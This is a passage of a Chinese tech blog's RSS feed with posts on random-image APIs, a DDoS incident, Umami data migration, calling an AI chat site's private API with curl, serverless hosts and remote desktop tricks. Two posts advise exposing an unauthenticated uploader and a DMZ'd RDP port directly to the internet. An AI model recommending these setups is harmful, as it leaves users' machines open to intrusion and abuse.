那如果说我图比这少呢?那我们可以让图片填充,说个极端的例子,假如你只有2张图,每张图创建32768个副本即可,依此类推</p>
|
||
<p><img src="https://blog.acofork.com/_astro/random-url-gen-10.BNTdCfq9.png" alt="" /></p>
|
||
<p>::github{repo="afoim/cf-rule-random-url"}</p>
|
||
<p>上线的API: https://img.072103.xyz/h | https://img.072103.xyz/v</p>
|
||
<h1>奇技淫巧2:丢掉后端,让前端JS自己拼URL</h1>
|
||
<blockquote>
|
||
<p>Video: https://www.bilibili.com/video/BV1tNB4BEEaE/
|
||
Video2: https://www.bilibili.com/video/BV1mMBKBREkB/</p>
|
||
</blockquote>
|
||
<p>把思路打开,我们真的需要一个 <strong>请求一个端点,返回一个随机内容</strong> 的东西吗</p>
|
||
<p>如果只是想在我们的网站上用上随机图,那是不是可以让客户端JavaScript代劳呢</p>
|
||
<p>大致原理为编写一个客户端JS,生成一个随机数,然后拼接URL得到最终的随机图,然后寻找需要替换为随机图的img容器或者背景图容器,替换其中内容</p>
|
||
<p><img src="https://blog.acofork.com/_astro/random-url-gen-11.JmLISSe4.png" alt="" /></p>
|
||
<p>::github{repo="afoim/Static_RandomPicAPI"}</p>
|
||
<p>上线的 API: https://pic1.acofork.com</p>
|
||
<h1>总结</h1>
|
||
<p>我们共探索了三种流派</p>
|
||
<ul>
|
||
<li>传统派:中规中矩,在边缘函数找图,取图</li>
|
||
<li>极客派:通过CF的规则实现在边缘找图,取图,但是不计费</li>
|
||
<li>环保派:通过客户端JS直接在浏览器上实现找图,取图,改图</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>本站遭受了建站以来规模最大的一次DDoS攻击,总流量6.65TB,峰值瞬发1.95GB/s</title><link>https://blog.acofork.com/posts/ddos-6t/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ddos-6t/</guid><description>不是哥们,静态也打?</description><pubDate>Tue, 16 Dec 2025 08:28:59 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>本站建站初使用 <strong>静态</strong> 架构就是防止别有用心之人进行DDoS</p>
|
||
<p>你想啊,一个静态网站,所有攻击流量都是打在 <strong>CDN的边缘节点</strong> 上,也就是等于攻打 <strong>整个CDN厂商</strong></p>
|
||
<p>一是很难打死,二是没必要,毕竟静态网站的背后没有源站,也不涉及利益,纯粹是白打</p>
|
||
<p>但在昨天,就有位神人试图攻打 <strong>EdgeOne/ESA</strong> 并且还真给他打死了,待我娓娓道来</p>
|
||
<p><em>如果你就是那位神人,请联系我,我给您颁个奖</em></p>
|
||
<h1>初见端倪</h1>
|
||
<p>于 <strong>2025年12月16号 11:13</strong>,我在和我的朋友测试项目的时候,有一个知识点他忘记了,我提议他前往我的博客查看,却被告知博客访问报 <strong>570</strong> 状态码</p>
|
||
<p>我立即使用 https://itdog.cn 测试了我的博客网站 https://acofork.com 发现大部分节点都为 <strong>570</strong> 状态码
|
||
<img src="https://blog.acofork.com/_astro/4f3b8517527460574d03479cc64655be.DOI8pAZP.png" alt="" />
|
||
因为当时我的网站部署在 <strong>EdgeOne</strong></p>
|
||
<p>随后,我向腾讯客服求证,了解到该状态码是一个 <strong>单节点限频访问</strong> 的状态码
|
||
<img src="https://blog.acofork.com/_astro/5082a73ffa31ee435c9c7894263ae4cd.B_hiNgCA.png" alt="" /></p>
|
||
<p>我的朋友甚至还在调侃说: <strong>你网站🔥了</strong>
|
||
<img src="https://blog.acofork.com/_astro/ddos-6t-1.wRwoGQYM.png" alt="" /></p>
|
||
<p>但是事情貌似还有一些诡异,为什么海外都是 <strong>200 OK</strong> ?</p>
|
||
<p>我开始怀疑被打了
|
||
<img src="https://blog.acofork.com/_astro/ddos-6t-2.CplrSdiw.png" alt="" /></p>
|
||
<p>可能玩静态久了,没有第一时间上到 <strong>EdgeOne</strong> 查看请求数和流量,想着都是静态,谁没事打呢</p>
|
||
<p>然后我就回家,暂时切了一下逻辑</p>
|
||
<ul>
|
||
<li>之前: <strong>EdgeOne Pages</strong> 直接提供服务,但是570</li>
|
||
<li>现在: <strong>EdgeOne CDN</strong> 回源 <strong>Cloudflare Pages</strong></li>
|
||
</ul>
|
||
<p>切完后逐步好转,虽然速度有些慢,然后我就睡觉了</p>
|
||
<h1>茅塞顿开</h1>
|
||
<p>睡醒后我越想越奇怪,于是就登上了 <strong>EdgeOne Pages</strong> 控制台,然后一看,我嘞个大雷
|
||
<img src="https://blog.acofork.com/_astro/2f4df8e383a1b41625ad02eb70375465.DMF2bZXr.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/50480865cd7f11d7cc4b495bcbc48038.q55tWphh.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/30bb8ddb905b6de8181d60ddf1b69dbe.BbLtod7l.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/01f15a24f395a3731010c8046cb2008c.DzX7lLL2.png" alt="" /></p>
|
||
<p>随后我抱着好奇的心态想看看ESA防御咋样,没想到刚切过去阿里云就给我发消息了
|
||
<img src="https://blog.acofork.com/_astro/9318872dc53b38334312619b2373c81e.C7NjFxlx.jpg" alt="" /></p>
|
||
<p>于是...
|
||
<img src="https://blog.acofork.com/_astro/5b3bcf42d0e4f73fbe031699a291a5c2.DlByEAYQ.png" alt="" /><img src="https://blog.acofork.com/_astro/c4b6bdd2c39ae7585b9d3ecc5dbe9c6d.DQs9HFBU.png" alt="" /></p>
|
||
<p>依旧是熟悉的印度尼西亚
|
||
<img src="https://blog.acofork.com/_astro/5a86eb051d48615259e8dcecb0fe8185.BRuLrf6x.png" alt="" /></p>
|
||
<p>那没招了,随后我于10分钟内极速 <strong>完全切到Cloudflare Pages</strong>
|
||
<img src="https://blog.acofork.com/_astro/ddos-6t-3.slKOngr_.png" alt="" /></p>
|
||
<p>目前来看 <strong>Cloudflare Pages</strong> 也挺绿的
|
||
<img src="https://blog.acofork.com/_astro/image_2025-12-16_08-24-54.BEtwrmBA.png" alt="" /></p>
|
||
<p>最后发了一个被打的B站视频,然后得知</p>
|
||
<p><strong>我去!大手子来了!</strong>
|
||
<img src="https://blog.acofork.com/_astro/Screenshot_2025-12-16-08-08-33-65_149003a2d400f6a.Bfql2rrl.jpg" alt="" /></p>
|
||
<h1>赛后总结</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/d16b7b134dec1224dcfc16e59a21942f.D_Y8WAub.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/3c33b054a3180932ae87bea8bd06c3ed.DjKTmsFh.png" alt="" /></p>
|
||
<p><strong>本站遭受了建站以来规模最大的一次DDoS攻击,总流量6.65TB,峰值瞬发1.95GB/s</strong></p>
|
||
<p>目前 <strong>acofork.com</strong> 域名所有主要业务重定向为 <strong>2x.nz</strong> ,所有业务采用 <strong>Cloudflare CDN</strong></p>
|
||
<p>如果各位大牛有防御方案/缓解措施,欢迎留言!</p>
|
||
</content:encoded></item><item><title>想要一个匿名文件上载器?一行命令装好!</title><link>https://blog.acofork.com/posts/py-uploadserver/</link><guid isPermaLink="true">https://blog.acofork.com/posts/py-uploadserver/</guid><description>有时候我们可能出门在外想要带文件回家,但是U盘插来插去并不优雅,那么,我们可以尝试在自家电脑启动一个匿名文件上载器,然后将其暴露到公网!</description><pubDate>Thu, 11 Dec 2025 09:08:55 GMT</pubDate><content:encoded><h1>安装</h1>
|
||
<p>确保你安装了 <strong>Python</strong></p>
|
||
<p>安装 <strong>uploadserver</strong></p>
|
||
<pre><code>pip install --user uploadserver
|
||
</code></pre>
|
||
<p>接下来,创建并进入一个新文件夹,作为 <strong>上传目录</strong></p>
|
||
<pre><code>mkdir upload
|
||
cd upload
|
||
</code></pre>
|
||
<p>运行,并监听 <strong>IPv4</strong> 的 <strong>8000端口</strong></p>
|
||
<pre><code>python -m uploadserver 8000
|
||
</code></pre>
|
||
<p>又或者,监听 <strong>IPv6</strong> 的 <strong>8000端口</strong></p>
|
||
<pre><code>python -m uploadserver --bind :: 8000
|
||
</code></pre>
|
||
<p>接下来,你就可以在内网环境使用这个 <strong>文件上载器</strong> 了
|
||
<img src="https://blog.acofork.com/_astro/py-uploadserver.Dw28SIG5.png" alt="" /></p>
|
||
<p>再然后,我们就可以将其打到公网了</p>
|
||
<h1>打到公网</h1>
|
||
<h3>方案一:使用EdgeOne进行IPv6回源</h3>
|
||
<p>将你的IPv6做 <strong>DDNS</strong> ,然后使用EdgeOne回源
|
||
<img src="https://blog.acofork.com/_astro/py-uploadserver-1.BRWxfuTL.png" alt="" /></p>
|
||
<h3>方案二:STUN(仅NAT1可用)</h3>
|
||
<p>当你的家庭网络为 <strong>NAT1</strong> ,则可以使用类似这样的软件将你的 <strong>内网端口</strong> 直接打到 <strong>公网端口</strong> (貌似该程序对TCP分片敏感,会导致RST) <a href="https://github.com/MikeWang000000/Natter">MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.</a>
|
||
<img src="https://blog.acofork.com/_astro/py-uploadserver-2.DRE3TbK0.png" alt="" /></p>
|
||
</content:encoded></item><item><title>Umami Cloud迁移到本地踩坑记录</title><link>https://blog.acofork.com/posts/umami-migration/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami-migration/</guid><description>早期的我很有先见之明,在使用Umami的时候是自建的,但是不久后因为想要全上云,又用回了Umami Cloud,但是现在访问记录激增,我又不得不迁移到本地...</description><pubDate>Fri, 05 Dec 2025 10:13:34 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先,我们想要迁移,首先肯定是要拿到原来的Umami Cloud存放的数据</p>
|
||
<p>在 <a href="https://cloud.umami.is/settings/data">Umami Cloud Data | Settings</a> 中,我们可以选择,导出数据(Export)
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-1.uJp6pug6.png" alt="" /></p>
|
||
<p>当数据准备好后(几分钟左右),你的邮箱会收到一封Umami Cloud发来的邮件
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-2.DTZD0voa.png" alt="" /></p>
|
||
<p>下载下来的文件是一个以UUID命名的ZIP压缩包,将其解压可以得到3个CSV文件
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-3.BnW3znWh.png" alt="" /></p>
|
||
<p>其中,只有 <code>website_event.csv</code> 有用,其他两个文件仅有表头,无数据</p>
|
||
<p>这样,我们就成功拿到了旧Umami数据</p>
|
||
<p>接下来,我们需要在本地部署Umami PostgreSQL版本的 <strong>最新版</strong> (目前版本为 3.x)(部署教程略)</p>
|
||
<p>然后我们还需要安装一个CSV编辑软件: <a href="https://smoothcsv.com/">SmoothCSV - The ultimate CSV editor for macOS &amp; Windows</a></p>
|
||
<p>在本地Umami中新建一个网站,Umami会随机为你生成一个UUID</p>
|
||
<p>接下来我们需要在你的终端安装一个图形化管理PostgreSQL的软件: <a href="https://www.pgadmin.org/">pgAdmin - PostgreSQL Tools</a></p>
|
||
<p>然后连上数据库,你将可以看到这些表
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-4.Bf_6rmGu.png" alt="" /></p>
|
||
<p>接下来我们查看 <code>website</code> 这张表,将 <code>website_event.csv</code> 打开,查看旧的 <code>website_id</code> 将新的ID改为旧的,这样才能数据匹配
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-5.BwVUMKHi.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-6.BIWQqR3J.png" alt="" /></p>
|
||
<p>接下来,我们正式开始数据导入,由于导入后的数据有两个 <code>session_id</code> 字段,而在Umami自我管理的过程中这个 <code>session_id</code> 字段是 <strong>唯一约束的</strong> ,我们需要先解除这个限制,在正式上线前还要再加回这个限制(后面会说)</p>
|
||
<p>让我们删除主键约束和索引</p>
|
||
<pre><code>ALTER TABLE session DROP CONSTRAINT session_pkey;
|
||
DROP INDEX session_session_id_key;
|
||
</code></pre>
|
||
<p>接下来,我们需要将数据配对,我们先查看 <code>website_event.csv</code> 这张表。这里应该只有表头,没有数据(我有是因为我已经导入完成了,教程是后写的)</p>
|
||
<p><strong>注意顺序</strong> 如: <code>event_id</code> <code>website_id</code> <code>session_id</code> ...</p>
|
||
<p><img src="https://blog.acofork.com/_astro/umami-migration-7.BoFsUvCG.png" alt="" /></p>
|
||
<p>编辑CSV文件,你需要将顺序配对,并且删除表中没有的列,如: <code>browser</code> <code>os</code> ...
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-8.y76uzC9T.png" alt="" /></p>
|
||
<p>确保数据库中的表头顺序和CSV文件中的表头顺序一一对应,顺序一致,不多不少后,<strong>Ctrl + S 保存</strong> CSV文件,我们开始导入并在选项中勾选 <strong>标题</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/umami-migration-9.CsvUdMnd.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-10.COtfjwPj.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-11.-MojYeeV.png" alt="" />
|
||
导入成功后如图
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-12.D-xPsgmz.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-13.50Z2eTBd.png" alt="" /></p>
|
||
<p>再编辑 <code>session</code> 这张表,手法同上,导入成功后如图
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-14.u-CrUDDg.png" alt="" /></p>
|
||
<p>接下来打开本地Umami的WebUI,查看数据是否有异常
|
||
<img src="https://blog.acofork.com/_astro/umami-migration-15.B8e8TWGj.png" alt="" /></p>
|
||
<p>确保导入后数据无异常后,我们开始删除另一条 <code>session_id</code> 记录并回锁主键。否则上线后Umami将无法再向表中插入数据</p>
|
||
<pre><code>SELECT session_id, COUNT(*)
|
||
FROM public.session
|
||
GROUP BY session_id
|
||
HAVING COUNT(*) &gt; 1;
|
||
|
||
-- 保留最早的 created_at
|
||
DELETE FROM public.session
|
||
WHERE ctid NOT IN (
|
||
SELECT MIN(ctid)
|
||
FROM public.session
|
||
GROUP BY session_id
|
||
);
|
||
|
||
ALTER TABLE public.session
|
||
ADD CONSTRAINT session_id_unique UNIQUE (session_id);
|
||
</code></pre>
|
||
<p>至此,迁移工作结束</p>
|
||
</content:encoded></item><item><title>上手米哈游AI,然后把它逆了!</title><link>https://blog.acofork.com/posts/anuneko/</link><guid isPermaLink="true">https://blog.acofork.com/posts/anuneko/</guid><description>AnuNeko是一只会哈气的橘猫...其实不是,AnuNeko是由米哈游创始人做的AI大模型,会哈气。于是便做个QQBot给群友玩</description><pubDate>Tue, 02 Dec 2025 09:11:40 GMT</pubDate><content:encoded><h1>这是What</h1>
|
||
<p>这是橘猫,会哈气(见封面</p>
|
||
<p>你可以前往 <a href="https://anuneko.com/#/chat">AnuNeko</a> 逗猫</p>
|
||
<h1>逆!</h1>
|
||
<p>okok,注意到登陆后的请求头中有 <code>x-token</code> 字段
|
||
<img src="https://blog.acofork.com/_astro/anuneko-1.DWTZVhm6.png" alt="" /></p>
|
||
<p>手搓个请求发发,<code>data</code> 携带内容</p>
|
||
<pre><code>curl --location 'https://anuneko.com/api/v1/msg/会话id/stream' \
|
||
--header 'x-token: 账号Token' \
|
||
--header 'Content-Type: text/plain' \
|
||
--header 'Cookie: 自动拿取' \
|
||
--data '{"contents":["test"]}'
|
||
</code></pre>
|
||
<p>通了
|
||
<img src="https://blog.acofork.com/_astro/anuneko-2.J0wOCVp6.png" alt="" /></p>
|
||
<p>然后还有一种情况,在遇到Pick的时候,我们要发送要选择的回复编号
|
||
<img src="https://blog.acofork.com/_astro/anuneko-3.DyuhBgC-.png" alt="" /></p>
|
||
<p>发个如图请求帮橘猫选择</p>
|
||
<pre><code>curl --location 'https://anuneko.com/api/v1/msg/select-choice' \
|
||
--header 'x-token: 你的Token' \
|
||
--header 'Content-Type: text/plain' \
|
||
--header 'Cookie: 自动拿取' \
|
||
--data '{"msg_id":"会话id","choice_idx":0或1}'
|
||
</code></pre>
|
||
<p>还有还有,这有个橘猫和黑猫,如何切换一个会话的猫?</p>
|
||
<pre><code>curl --location 'https://anuneko.com/api/v1/user/select_model' \
|
||
--header 'x-token: 你的Token' \
|
||
--header 'Content-Type: text/plain' \
|
||
--header 'Cookie: 自动拿取' \
|
||
--data '{"chat_id":"会话id","model":"Exotic Shorthair或Orange Cat"}'
|
||
</code></pre>
|
||
<p>随便写了个适用于NoneBot2的插件,玩吧
|
||
<a href="https://github.com/afoim/AnuNeko_NoneBot2_Plugins/blob/main/anuneko.py">AnuNeko_NoneBot2_Plugins/anuneko.py at main · afoim/AnuNeko_NoneBot2_Plugins</a></p>
|
||
</content:encoded></item><item><title>盘点那些好用的Serverless(云函数)!</title><link>https://blog.acofork.com/posts/serverless-function/</link><guid isPermaLink="true">https://blog.acofork.com/posts/serverless-function/</guid><description>你是否为了搭建一个网站而买了一台VPS,然后安装宝塔或1Panel再安装Nginx等等等等?现在这些统统不要!只需要稍加学习,你就可以得到一个免费的高可用的托管服务!</description><pubDate>Tue, 25 Nov 2025 08:33:24 GMT</pubDate><content:encoded><h1>何为Serverless</h1>
|
||
<p>就像简介所说,传统来说我们搭建Web服务一般会选择买一个VPS,然后在其上安装管理面板,再安装所需软件,如Nginx,AList,最后运行,开放端口,再设置DNS解析,这样,一个网站就成功上线了</p>
|
||
<p>而Serverless就简单多了,毕竟 <strong>Server</strong> 被 <strong>Less</strong> 掉了</p>
|
||
<p>这又是什么意思呢?在Serverless服务里,你不再需要管理传统的VPS,而是直接将业务代码上传到目标平台,再由平台的CI/CD自动部署你的服务</p>
|
||
<p>举个不恰当的例子就比如你正在观看的这个 <a href="https://2x.nz">博客</a> ,首先我将源码上传到 <a href="https://cloud.tencent.com/document/product/1552/118260">边缘安全加速平台 EO Pages_腾讯云</a> ,再经由平台构建出最终的HTML页面,然后再在平台上绑定域名,直接访问就可以了</p>
|
||
<p>不难看出,在上一个例子中,我并没有去从零开始搭建这个服务,而是仅做了两件事:1. 源码上传 2. 绑定域名,而其他事情全部交给平台的自动化,这不仅极大减少了运维成本,并且在做版本控制的时候也更加容易</p>
|
||
<h1>Serverless的利与弊</h1>
|
||
<p>在Serverless中,你不再需要管理基础设施,只需要确保你的代码能跑,然后直接上传到平台,平台会帮你做好后续工作</p>
|
||
<p>并且,这往往是 <strong>免费</strong> 的,或者说,大部分Serverless平台都有 <strong>免费层</strong> 。因为在平台看来,你只是租用了你所需要的东西,相比于哪些大客户,你的开销可以说是忽略不计</p>
|
||
<p>并且在Serverless中,你永远只是用户,但是如果你买的是VPS,一般来说你是可以完全控制这台VPS的,如设置防火墙,或是重装系统,而这种代价是高昂的,这也是为什么你能看到许许多多免费的Serverless服务,但是几乎看不到免费的VPS提供商</p>
|
||
<p>但这也有一些弊端,Serverless往往有严格的用量限制,在传统的VPS中,往往IDC会限制你的 <strong>最大带宽</strong>、<strong>公网IP</strong> 和 <strong>总流量</strong> ,但是在Serverless中,往往只会限制你的 <strong>总流量</strong> ,但可能还会有一些限制,如:<strong>CPU最长执行时间</strong> 、<strong>总请求数</strong> 、<strong>函数总请求数</strong> 、<strong>函数最长执行时间</strong> 等等等等</p>
|
||
<p>因为当你在用Serverless的时候,你的服务直接跑在其平台的CDN上的,你将直接享有所属平台的CDN IP段以及带宽,这也让平台的管理更加方便,不需要大量购入物理机开虚拟机做VPS,只需要做一个小集群并做好用户分配即可</p>
|
||
<p>Serverless也比Server更容易做版本控制和Debug,由于Serverless和Git是天生一体的。在用户看来,只需要先将代码托管到Github,再将代码库连接到Serverless平台,此后,你的服务每一次更新就只需要更新源码了,平台会自动帮你构建。当你想要回滚版本的时候,直接将部署回退为之前的提交即可,而Debug无需再连到服务器上做,只需要有一台电脑,将代码拉下来,本地Dev Debug后,再将修复后的代码提交,平台就能自动部署了</p>
|
||
<h1>好用的Serverless平台</h1>
|
||
<h3><a href="https://pages.edgeone.ai/zh">边缘全栈开发平台 - EdgeOne Pages</a></h3>
|
||
<p>:::caution
|
||
请不要在其上部署日流量超 <strong>10M</strong> 的服务,很有可能会被停用账号
|
||
:::</p>
|
||
<p>支持原生JS和Node Function,如果你的项目是基于Node打造的,仅需修改一下函数出入口即可无缝迁移。并且目前的 <strong>Pages Function</strong> 是 <strong>不计请求也不计费</strong> 的,非常适合部署一些仅自己用的服务</p>
|
||
<p>不过其自带的构建服务性能较低,上线速度可能稍慢</p>
|
||
<p>示例服务: <a href="/posts/unknown-upload/">自建一个匿名文件上传终结点 - AcoFork Blog</a></p>
|
||
<h3><a href="https://vercel.com/docs/functions">Vercel Functions</a></h3>
|
||
<p>支持非常多的语言,如 Node.js、Python、Go、Wasm 等等。构建服务非常强劲!<strong>默认分配 4C8G</strong> 帮你构建!</p>
|
||
<p>用量限制非常宽松,并且可以超过限制的 <strong>2倍</strong> 以上仍保持正常访问
|
||
<img src="https://blog.acofork.com/_astro/serverless-function-1.BOmSui9j.png" alt="" />
|
||
示例服务: <a href="/posts/onedrive-index/">来!让我们用Vercel来分享你的OneDrive! - AcoFork Blog</a></p>
|
||
<h3><a href="https://www.netlify.com/platform/core/functions/">Netlify Functions</a></h3>
|
||
<p>支持 JS/TS 和 Go。用量限制更宽松!仅限制每个月100G传输流量,但是一旦超限,即刻宕机</p>
|
||
<p>示例服务: https://nf-gh.072103.xyz/afoim</p>
|
||
<h3><a href="https://www.cloudflare-cn.com/developer-platform/products/workers/">Cloudflare Workers | 利用易于使用的开发工具构建和部署代码 | Cloudflare</a></h3>
|
||
<p>支持众多语言,但是对JS/TS的支持最好,特别注意不支持完整的 <strong>Node.js</strong> 环境。Python目前无法通过pip安装包。优点在于可以和更多Cloudflare产品做协同,如Cloudflare R2 对象存储、Cloudflare KV 键值对存储、Cloudflare D1 SQL数据库</p>
|
||
<p>每天限制 <strong>10W</strong> 请求,但是超了并不会 <strong>始终返回</strong> 不可用,而是 <strong>可能会请求错误</strong></p>
|
||
<p>示例服务: <a href="/posts/warden-worker/">你可曾想过,直接将BitWarden部署到Cloudflare Worker? - AcoFork Blog</a></p>
|
||
<h3><a href="https://huggingface.co/">Hugging Face – The AI community building the future.</a></h3>
|
||
<p>:::caution
|
||
请不要在其上部署 <strong>AList</strong> !秒封!
|
||
:::</p>
|
||
<p>严格意义上来说,这是个帮你跑AI大模型服务的平台,但是由于它支持跑 <strong>Docker</strong> ,可玩性还是很高的</p>
|
||
<p>不过访问链接需要你拼一下: https://用户名-Space名.hf.space/</p>
|
||
<p>示例服务: <a href="https://acofork1-netease.hf.space/">网易云音乐工具箱</a></p>
|
||
<h3><a href="https://run.claw.cloud/">ClawCloud Run | Build, Deploy, Manage &amp; Run in Cloud-Native Platform</a></h3>
|
||
<p>之前被干爆过,目前亚太爆炸,每个月有 <strong>5 美元</strong> 余额,直接跑Docker,按你分配的CPU核心数和内存来计费。不过 Hobby 计划还蛮便宜的,常用的话可以买
|
||
<img src="https://blog.acofork.com/_astro/serverless-function-2.B3UO-Q3d.png" alt="" /></p>
|
||
<h3><a href="https://render.com/">Render</a></h3>
|
||
<p><img src="https://blog.acofork.com/_astro/serverless-function-3.Bs28so9x.png" alt="" />
|
||
<strong>每月免费100G流量</strong>,支持非常多的服务,如:静态网站、Web服务(Docker)、定时服务、PostgreSQL数据库、Key Vaule存储</p>
|
||
<p>唯一的缺点,性能不高</p>
|
||
<h3><a href="https://zeabur.com/zh-CN/">Zeabur</a></h3>
|
||
<p><img src="https://blog.acofork.com/_astro/serverless-function-4.hmvrzZtR.png" alt="" />
|
||
<strong>每月免费5刀额度</strong> ,免费计划有两个地域可选
|
||
<img src="https://blog.acofork.com/_astro/serverless-function-5.DIvgyxtf.png" alt="" /></p>
|
||
<p>最重磅的在于你可以将自己的VPS托管给Zeabur,它会在你的服务器上安装k3s等服务,之后你就可以直接在Zeabur的仪表盘上进行运维了</p>
|
||
<p><strong>最小服务器要求:2GB 内存,1 核 CPU。</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/serverless-function-6.DxOZL36X.png" alt="" /></p>
|
||
<h1>结语</h1>
|
||
<p>Serverless不像传统的VPS,你并不完全拥有它,所以有些服务是不能跑的, <strong>特别是在免费层</strong> ,如特别吃IO和网络的 <strong>AList</strong> ,或是并发请求特别高以及商用服务。如果你用的舒心,请考虑购买各大平台的付费版套餐</p>
|
||
</content:encoded></item><item><title>出门在外,如何优雅、高效、流畅地远程自家电脑?</title><link>https://blog.acofork.com/posts/remote/</link><guid isPermaLink="true">https://blog.acofork.com/posts/remote/</guid><description>当今,我们出门在外,几乎哪哪都能摸到电脑,但是我们大部分的工作文件一般都在自家电脑,为了保持工作流的一致,我们自然就有了远控自家电脑的需求了</description><pubDate>Mon, 24 Nov 2025 18:04:57 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>你可能觉得,这人不是XX吗,远控当然下载个类似UU远程、向日葵这种软件不就行了,这还要出一篇文章?</p>
|
||
<p>那我问你,如果你用的电脑是32位而不是64位,当你用的公司网络NAT类型并不开放又或者没有IPv6?我们要如何优雅、高效、流畅的使用远程呢?</p>
|
||
<h1>正式开始</h1>
|
||
<p>我们分两步走,一个是针对于64位的电脑,较简单,而另一个是针对于32位的电脑,稍微复杂</p>
|
||
<h3>64位</h3>
|
||
<p>首先,将家里的路由器的 <strong>UPnP</strong> 功能打开,然后直接下载 <a href="https://uuyc.163.com/">网易UU远程官网_真4K、真免费、真好用</a> ,登录账号直接连接,绝大部分情况都是P2P(点对点连接,即控制和被控端直接连接)</p>
|
||
<h3>32位</h3>
|
||
<p>由于UU远程仅支持64位的电脑,我们就要想点花招了</p>
|
||
<p>我用的办法比较极客,就是将家里设备的 <strong>RDP</strong> 端口打到公网上来,也就是利用 <strong>STUN</strong> ,但是这种方法要求家庭网络的NAT类型为1(Full Cone)</p>
|
||
<p>那么首先,我将家中的路由器的 <strong>DMZ</strong> 主机设置为家里电脑的IP
|
||
<img src="https://blog.acofork.com/_astro/remote.cbdpc5cd.png" alt="" /></p>
|
||
<p>DMZ启用后,所有打到路由器上所有端口(除路由器自身占用端口)的流量全部转发给DMZ主机</p>
|
||
<p>用人话来说,你访问路由器的3389端口就能直接访问到电脑的3389端口</p>
|
||
<p>这样设置之后,你就可以使用 <strong>STUN</strong> 协议,将路由器的3389端口转发到ISP给你分配的公网上</p>
|
||
<p>用人话来说,STUN后,访问你正在用的 <code>公网IP:随机端口</code> ,就能访问到路由器的3389端口,又因为配置了DMZ,就又能访问到电脑的3389端口</p>
|
||
<p>那么如何简单的开一个 <strong>STUN隧道</strong> 呢?</p>
|
||
<p>我这里使用的是 <a href="https://github.com/MikeWang000000/Natter">MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.</a> ,它是一个Python编写的程序,确保你的网络为NAT1后,你可以使用一个简单的命令,如: <code>python natter.py -p 3389</code> 来创建STUN隧道
|
||
<img src="https://blog.acofork.com/_astro/remote-1.BWeIBJPw.png" alt="" /></p>
|
||
<p>观察 <code>WAN &gt; 112.32.39.77:55265 [ OPEN ]</code> 证明你已经可以通过该 <code>公网IP:端口</code> 来在世界各地,只要连上了 <strong>互联网</strong> ,就能连上家里的电脑</p>
|
||
<p>最后,<code>Win+R</code> 调出运行,输入 <code>mstsc</code> 打开远程控制的窗口,开始你的远程之旅吧</p>
|
||
<p><img src="https://blog.acofork.com/_astro/9207_1_112_29_106_130_gdqwd8.DURt4upv.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/9207_112_29_106_130_rx7fsq.CvKU81NV.png" alt="" /></p>
|
||
</content:encoded></item><item><title>Win11保留数据无损降级Win10!</title><link>https://blog.acofork.com/posts/win11-to-win10/</link><guid isPermaLink="true">https://blog.acofork.com/posts/win11-to-win10/</guid><description>我真的受够了Win11那黏黏的感觉了,什么?能降级?还是官方手段?还能保留数据???</description><pubDate>Sun, 23 Nov 2025 15:18:40 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<h3>为什么要回到Win10</h3>
|
||
<p>有太多理由了</p>
|
||
<ul>
|
||
<li>Win11几乎只升级了UI,并且新的UI优化不完全,导致很多地方有粘滞感,参见: <a href="https://www.bilibili.com/video/BV11MVoznE4L/?spm_id_from=333.1387.search.video_card.click&amp;vd_source=6b94c66d8e200ba092130f674228bbff">我们发现了Win11操作总是不跟手的深层原因!_哔哩哔哩_bilibili</a></li>
|
||
<li>Win10和Win11都是NT 10.x的内核,能跑在Win11上的程序必然能在Win10上跑。而微软大部分的程序文档中规定的最低版本号几乎都为 <code>Windows 10 1607 and later</code> ,也就是 <strong>支持 Windows 10 2016年的版本,以及之后的版本</strong> ,而我们一般使用的都比这新的多,如 <code>21h2</code> <code>22h2</code> ,根本不用担心兼容性问题</li>
|
||
</ul>
|
||
<h3>这种非正常手段的“升级”有哪些影响</h3>
|
||
<p>几乎没有影响,虽然我们需要做点善后工作,但得益于Win10和11本质上是一个东西,并不会造成什么不可逆的损害</p>
|
||
<h3>“升级”后,我会丢失什么?</h3>
|
||
<p>Win11有但Win10没有的东西会消失,两者都有的会保留。专为Win11打造的Appx,“升级”后会不可用或直接消失</p>
|
||
<h3>是保留数据的“升级”吗</h3>
|
||
<p>是的。理论上来说仅会替换Windows版本,并不会清除你的所有数据,如应用,文档,个人信息</p>
|
||
<h3>为什么微软不开放官方通道降级?</h3>
|
||
<p>其实是有的,当你先安装Win10,再通过Windows更新升级为Win11后,你有30天的后悔期,期间你可以在设置中选择回到Windows 10。但30天并不是一个特殊的日子,只是微软为了减少麻烦设置的一个保守日期</p>
|
||
<h1>正式开始</h1>
|
||
<p>:::caution
|
||
数据无价,谨慎操作
|
||
:::</p>
|
||
<p>:::warning
|
||
确保你有PE U盘,如果你听不懂我在说什么,请不要继续操作!
|
||
:::</p>
|
||
<p>首先确保你正在运行Win11的 <strong>正式版</strong> ,如果你加入了 <strong>Windows Insider Preivew</strong> ,请想办法回到 <strong>正式版</strong></p>
|
||
